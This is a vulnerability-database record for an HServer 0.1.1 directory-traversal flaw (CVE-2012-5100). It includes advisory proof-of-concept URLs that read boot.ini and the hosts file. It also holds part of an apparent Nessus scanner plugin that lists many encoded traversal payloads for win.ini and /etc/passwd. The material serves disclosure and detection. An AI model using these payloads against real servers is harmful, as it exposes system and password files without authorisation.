{"id": "EDB-ID:36500", "hash": "6032153a77e142bbb8622876e1cf0371", "type": "exploitdb", "bulletinFamily": "exploit", "title": "HServer 0.1.1 Directory Traversal Vulnerability", "description": "HServer 0.1.1 Directory Traversal Vulnerability. CVE-2012-5100. Remote exploit for windows platform", "published": "2012-01-05T00:00:00", "modified": "2012-01-05T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/36500/", "reporter": "demonalex", "references": [], "cvelist": ["CVE-2012-5100"], "lastseen": "2016-02-04T03:39:33", "history": [], "viewCount": 2, "enchantments": {"score": {"value": 5.6, "vector": "NONE", "modified": "2016-02-04T03:39:33"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2012-5100"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310802410", "OPENVAS:802410"]}, {"type": "nessus", "idList": ["WEB_TRAVERSAL.NASL"]}], "modified": "2016-02-04T03:39:33"}, "vulnersScore": 5.6}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/36500/", "sourceData": "source: http://www.securityfocus.com/bid/51286/info\r\n\r\nHServer web server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.\r\n\r\nExploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.\r\n\r\nHServer 0.1.1 is vulnerable; other versions may also be affected. \r\n\r\nhttp://www.example.com/..%5c..%5c..%5cboot.ini\r\nhttp://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts\r\nhttp://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\nhttp://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdr ivers%5cetc%5chosts ", "osvdbidlist": ["82647"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

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'/...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\...\\\\winnt\\\\win.ini';\nr[i++] = '/..../..../..../..../..../..../..../..../..../windows/win.ini';\nr[i++] = '/..../..../..../..../..../..../..../..../..../winnt/win.ini';\nr[i++] = '/....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\windows\\\\win.ini';\nr[i++] = '/....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\....\\\\winnt\\\\win.ini';\nr[i++] = '/././././././../../../../../windows/win.ini';\nr[i++] = '/././././././../../../../../winnt/win.ini';\nr[i++] = '.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\/windows/win.ini';\nr[i++] = '.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\.\\\\/winnt/win.ini';\nr[i++] = '/nessus\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini';\nr[i++] = '/nessus\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini';\nr[i++] = '/%80../%80../%80../%80../%80../%80../windows/win.ini';\nr[i++] = '/%80../%80../%80../%80../%80../%80../winnt/win.ini';\nr[i++] = '/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini';\nr[i++] = '/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./winnt/win.ini';\nr[i++] = '/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/win.ini';\nr[i++] = '/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/winnt/win.ini';\nr[i++] = mult_str(str:\"/%uff0e%uff0e\", nb:12) + '/windows/win.ini';\nr[i++] = mult_str(str:\"/%uff0e%uff0e\", nb:12) + '/winnt/win.ini';\n# Some web servers badly parse args under the form /path/file?arg=../../\nr[i++] = '/scripts/fake.cgi?arg=/dir/../../../../../../../../../../../windows/win.ini';\nr[i++] = '/scripts/fake.cgi?arg=/dir/../../../../../../../../../../../winnt/win.ini';\nr[i++] = '/scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini';\nr[i++] = '/scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini';\nr[i++] = 0;\n\ncontents = \"\";\ninfo = \"\";\n\nfor (i=0; r[i]; i++)\n{\n url = r[i];\n if (check_win_dir_trav(port: port, url:url))\n {\n if (url[0] == '/') info += ' - ' + build_url(port: port, qs:url) + '\\n';\n else info += ' - ' + url + ' *\\n';\n\n if (!contents && report_verbosity > 0)\n {\n res = http_send_recv3(port: port, method: 'GET', item:url, exit_on_fail:TRUE);\n if (! isnull(res)) contents = res[2];\n }\n if (!thorough_tests) break;\n }\n}\n\nif (info)\n{\n if (report_verbosity > 0)\n {\n if (max_index(split(info)) > 1) s = \"s\";\n else s = \"\";\n\n report = '\\n' +\n 'Nessus was able to retrieve the remote host\\'s \\'win.ini\\' file using the\\n' +\n 'following URL' + s + ' :\\n' +\n '\\n' +\n info;\n\n if (egrep(pattern:\" \\*$\", string:info))\n {\n report += '\\n' +\n '* Note that this requires sending an HTTP GET request without the\\n' +\n ' leading forward slash to the web server at ' + build_url(port:port, qs:'/') + ',\\n' +\n ' which is not supported by most web browsers.\\n';\n }\n\n if (contents)\n {\n contents = data_protection::redact_etc_passwd(output:contents);\n report += '\\n' +\n 'Here are the contents :\\n' +\n '\\n' +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n' +\n chomp(contents) + '\\n' +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n';\n }\n if (!thorough_tests)\n report +=\n '\\n' +\n 'Note that Nessus stopped searching after one exploit was found. To\\n' +\n 'report all known exploits, enable the \\'Perform thorough tests\\'\\n' +\n 'setting and re-scan.\\n';\n security_hole(port:port, extra:report);\n }\n else security_hole(port);\n set_kb_item(name: strcat(\"www/\", port, \"/generic_traversal\"), value: TRUE);\n exit(0);\n}\n\ni=0;\nr[i++] = '/' + mult_str(str:'../', nb:12) + 'etc/passwd';\nr[i++] = mult_str(str:'../', nb:12) + 'etc/passwd';\nr[i++] = '//' + mult_str(str:'../', nb:12) + 'etc/passwd';\nr[i++] = mult_str(str:'/....', nb:12) + '/etc/passwd';\nr[i++] = mult_str(str:'/%2e%2e', nb:12) + '/etc/passwd';\nr[i++] = '/' + mult_str(str:'..%2f', nb:12) + 'etc/passwd';\nr[i++] = mult_str(str:'..%2f', nb:12) + 'etc/passwd';\nr[i++] = '/' + mult_str(str:'%2e%2e%2f', nb:12) + 'etc/passwd';\nr[i++] = '/././././././../../../../../etc/passwd';\nr[i++] = mult_str(str:\"/%uff0e%uff0e\", nb:12) + '/etc/passwd';\n# Some web servers badly parse args under the form /path/file?arg=../../\nr[i++] = '/scripts/fake.cgi?arg=/dir/../../../../../../etc/passwd';\nr[i++] = '/scripts/fake.cgi?arg=/dir/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd';\nif (thorough_tests || report_paranoia >= 2)\n{\n # An old bug (06 Jan 2003) in CommunigatePro. Note the *//\n r[i++] = '/DomainFiles/*//../../../../../../etc/passwd';\n}\nr[i++] = 0;\n\ncontents = \"\";\ninfo = \"\";\n\nfor (i = 0; r[i]; i++)\n{\n url = r[i];\n\n # nb: at least one web server ('st') fails to respond at all if the URL does \n # not have a leading slash.\n if (url[0] = '/') exit_on_fail = TRUE;\n else exit_on_fail = FALSE;\n res = http_send_recv3(port: port, method: 'GET', item:url, exit_on_fail:exit_on_fail);\n if (isnull(res)) continue;\n\n if (egrep(pattern: 'root:.*:0:[01]:', string: res[2]))\n {\n if (url[0] == '/') info += ' - ' + build_url(port: port, qs:url) + '\\n';\n else info += ' - ' + url + ' *\\n';\n\n if (!contents && report_verbosity > 0)\n {\n contents = res[2];\n }\n if (!thorough_tests) break;\n }\n}\n\n\nif (info)\n{\n if (report_verbosity > 0)\n {\n if (max_index(split(info)) > 1) s = \"s\";\n else s = \"\";\n\n report = '\\n' +\n 'Nessus was able to retrieve the remote host\\'s password file using the\\n' +\n 'following URL' + s + ' :\\n' +\n '\\n' +\n info;\n\n if (egrep(pattern:\" \\*$\", string:info))\n {\n report += '\\n' +\n '* Note that this requires sending an HTTP GET request without the\\n' +\n ' leading forward slash to the web server at ' + build_url(port:port, qs:'/') + ',\\n' +\n ' which is not supported by most web browsers.\\n';\n }\n\n if (contents)\n {\n contents = data_protection::redact_etc_passwd(output:contents);\n report += '\\n' +\n 'Here are the contents :\\n' +\n '\\n' +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n' +\n contents +\n crap(data:\"-\", length:30) + \" snip \" + crap(data:\"-\", length:30) + '\\n';\n }\n if (!thorough_tests)\n report +=\n '\\n' +\n 'Note that Nessus stopped searching after one exploit was found. To\\n' +\n 'report all known exploits, enable the \\'Perform thorough tests\\'\\n' +\n 'setting and re-scan.\\n';\n\n security_hole(port:port, extra:report);\n }\n else security_hole(port);\n set_kb_item(name: strcat(\"www/\", port, \"/generic_traversal\"), value: TRUE);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}